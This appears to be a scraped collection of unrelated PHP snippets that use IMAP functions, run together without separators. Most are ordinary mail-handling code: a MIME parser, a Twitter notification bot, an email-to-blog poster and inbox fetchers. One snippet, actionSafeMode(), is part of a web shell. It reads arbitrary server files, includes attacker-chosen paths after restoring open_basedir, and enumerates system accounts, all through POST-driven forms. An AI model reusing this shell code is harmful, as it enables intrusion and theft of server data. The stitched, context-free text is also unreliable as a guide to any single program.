$this->_attachments[$filename] = $data; // TODO: this is a problem if two files have same name } elseif ($p->ifdisposition && $p->disposition == "INLINE" && $p->bytes > 0 && $p->subtype != 'PLAIN' && $p->subtype != 'HTML') { $this->_attachments["noname" . $partno . "." . $p->subtype] = $data; } elseif ($p->type == 0 && $data) { $this->_charset = $params['charset']; // assume all parts are same charset $data = self::__convert_encoding($data, 'UTF-8', $this->_charset); // Messages may be split in different parts because of inline attachments, // so append parts together with blank row. if (strtolower($p->subtype) == 'plain') { $this->_plainmessage .= trim($data) . "\n\n"; } else { $this->_htmlmessage .= $data . "<br><br>"; } } elseif ($p->type == 2 && $data) { $this->_plainmessage .= trim($data) . "\n\n"; } // SUBPART RECURSION if ($p->parts) { foreach ($p->parts as $partno0 => $p2) { $this->__getpart($imap, $messageid, $p2, $partno . '.' . ($partno0 + 1)); } // 1.2, 1.2.1, etc. } }
$processed++; switch ($headers['x-twitteremailtype']) { case 'is_following': // Note that we handle the case where we're already following a user and don't try to re-create them $user = Twitter::Follow($headers['x-twittersenderscreenname']); if (isset($user['error']) and stripos($user['error'], 'already on your list') === false) { echo 'Follow failed for "' . $headers['x-twittersenderscreenname'] . '": ' . $user['error'] . "\n"; } elseif (stripos(@$user['error'], 'already on your list') !== false or User::Create($user)) { Twitter::Tweet('d ' . $headers['x-twittersenderscreenname'] . ' Welcome to Replies from TwitApps. Send your email address by direct message to @' . $_twitter['username'] . ' to activate this service.'); } else { echo 'Failed to create user "' . $headers['x-twittersenderscreenname'] . '": ' . mysql_error(GetDB()) . "\n"; } break; case 'direct_message': // Direct message should contain a command or an email address $body = imap_body($mbox, $msgid, FT_PEEK); $email = false; foreach (preg_split('/\\s/', strtolower($body)) as $word) { switch ($word) { case 'start': //echo 'Start for "'.$headers['x-twittersenderscreenname'].'"'."\n"; $user = Twitter::GetUserDetails($headers['x-twittersenderscreenname']); if ($user and User::SetStatus($headers['x-twittersenderscreenname'], 'active', $user->status->id)) { $dm = 'Sorted! I\'ll start sending you emails again shortly.'; } else { $dm = 'Grrr, something went wrong restarting your emails. I\'ve notified the team and they\'ll look into it ASAP.'; echo ' Failed to start emails for "' . $headers['x-twittersenderscreenname'] . '"' . "\n\n"; } Twitter::Tweet('d ' . $headers['x-twittersenderscreenname'] . ' ' . $dm); break; case 'stop':
function actionSafeMode() { $temp = ''; ob_start(); switch ($_POST['p1']) { case 1: $temp = @tempnam($test, 'cx'); if (@copy("compress.zlib://" . $_POST['p2'], $temp)) { echo @file_get_contents($temp); unlink($temp); } else { echo 'Sorry... Can\'t open file'; } break; case 2: $files = glob($_POST['p2'] . '*'); if (is_array($files)) { foreach ($files as $filename) { echo $filename . "\n"; } } break; case 3: $ch = curl_init("file://" . $_POST['p2'] . "" . SELF_PATH); curl_exec($ch); break; case 4: ini_restore("safe_mode"); ini_restore("open_basedir"); include $_POST['p2']; break; case 5: for (; $_POST['p2'] <= $_POST['p3']; $_POST['p2']++) { $uid = @posix_getpwuid($_POST['p2']); if ($uid) { echo join(':', $uid) . "\n"; } } break; case 6: if (!function_exists('imap_open')) { break; } $stream = imap_open($_POST['p2'], "", ""); if ($stream == FALSE) { break; } echo imap_body($stream, 1); imap_close($stream); break; } $temp = ob_get_clean(); hardHeader(); echo '<h1>Safe mode bypass</h1><div class=content>'; echo '<span>Copy (read file)</span><form onsubmit=\'g(null,null,"1",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Glob (list dir)</span><form onsubmit=\'g(null,null,"2",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Curl (read file)</span><form onsubmit=\'g(null,null,"3",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Ini_restore (read file)</span><form onsubmit=\'g(null,null,"4",this.param.value);return false;\'><input class="toolsInp" type=text name=param><input type=submit value="submit"></form><br><span>Posix_getpwuid ("Read" /etc/passwd)</span><table><form onsubmit=\'g(null,null,"5",this.param1.value,this.param2.value);return false;\'><tr><td>From</td><td><input type=text name=param1 value=0></td></tr><tr><td>To</td><td><input type=text name=param2 value=1000></td></tr></table><input type=submit value="submit"></form><br><br><span>Imap_open (read file)</span><form onsubmit=\'g(null,null,"6",this.param.value);return false;\'><input type=text name=param><input type=submit value="submit"></form>'; if ($temp) { echo '<pre class="ml1" style="margin-top:5px" id="Output">' . $temp . '</pre>'; } echo '</div>'; hardFooter(); }
/** * Gets the mail from the inbox * Reads all the messages there, and adds posts based on them. Then it deletes the entire mailbox. */ function getMail() { $config = Config::current(); if (time() - 60 * $config->emailblog_minutes >= $config->emailblog_mail_checked) { $hostname = '{' . $config->emailblog_server . '}INBOX'; # this isn't working well on localhost $username = $config->emailblog_address; $password = $config->emailblog_pass; $subjpass = $config->emailblog_subjpass; $inbox = imap_open($hostname, $username, $password) or exit("Cannot connect to Gmail: " . imap_last_error()); $emails = imap_search($inbox, 'SUBJECT "' . $subjpass . '"'); if ($emails) { rsort($emails); foreach ($emails as $email_number) { $message = imap_body($inbox, $email_number); $overview = imap_headerinfo($inbox, $email_number); imap_delete($inbox, $email_number); $title = htmlspecialchars($overview->Subject); $title = preg_replace($subjpass, "", $title); $clean = strtolower($title); $body = htmlspecialchars($message); # The subject of the email is used as the post title # the content of the email is used as the body # not sure about compatibility with images or audio feathers Post::add(array("title" => $title, "body" => $message), $clean, Post::check_url($clean), "text"); } } # close the connection imap_close($inbox, CL_EXPUNGE); $config->set("emailblog_mail_checked", time()); } }
public function fetch(MailCriteria $criteria, $callback) { $mailbox = @imap_open('{' . $this->host . ':' . $this->port . '}INBOX', $this->username, $this->password); if (!$mailbox) { throw new ImapException("Cannot connect to imap server: {$this->host}:{$this->port}'"); } $this->checkProcessedFolder($mailbox); $emails = $this->fetchEmails($mailbox, $criteria); if ($emails) { foreach ($emails as $emailIndex) { $overview = imap_fetch_overview($mailbox, $emailIndex, 0); $message = imap_body($mailbox, $emailIndex); $email = new Email($overview, $message); $processed = $callback($email); if ($processed) { $res = imap_mail_move($mailbox, $emailIndex, $this->processedFolder); if (!$res) { throw new \Exception("Unexpected error: Cannot move email to "); break; } } } } @imap_close($mailbox); }
/** * Gets the raw email message from the server * @return string */ function fetchEmail($index) { $header_info = imap_headerinfo($this->_connection, $index); if (IsDebugMode() || $header_info->Recent == 'N' || $header_info->Unseen == 'U') { $email = imap_fetchheader($this->_connection, $index); $email .= imap_body($this->_connection, $index); return $email; } else { return 'already read'; } }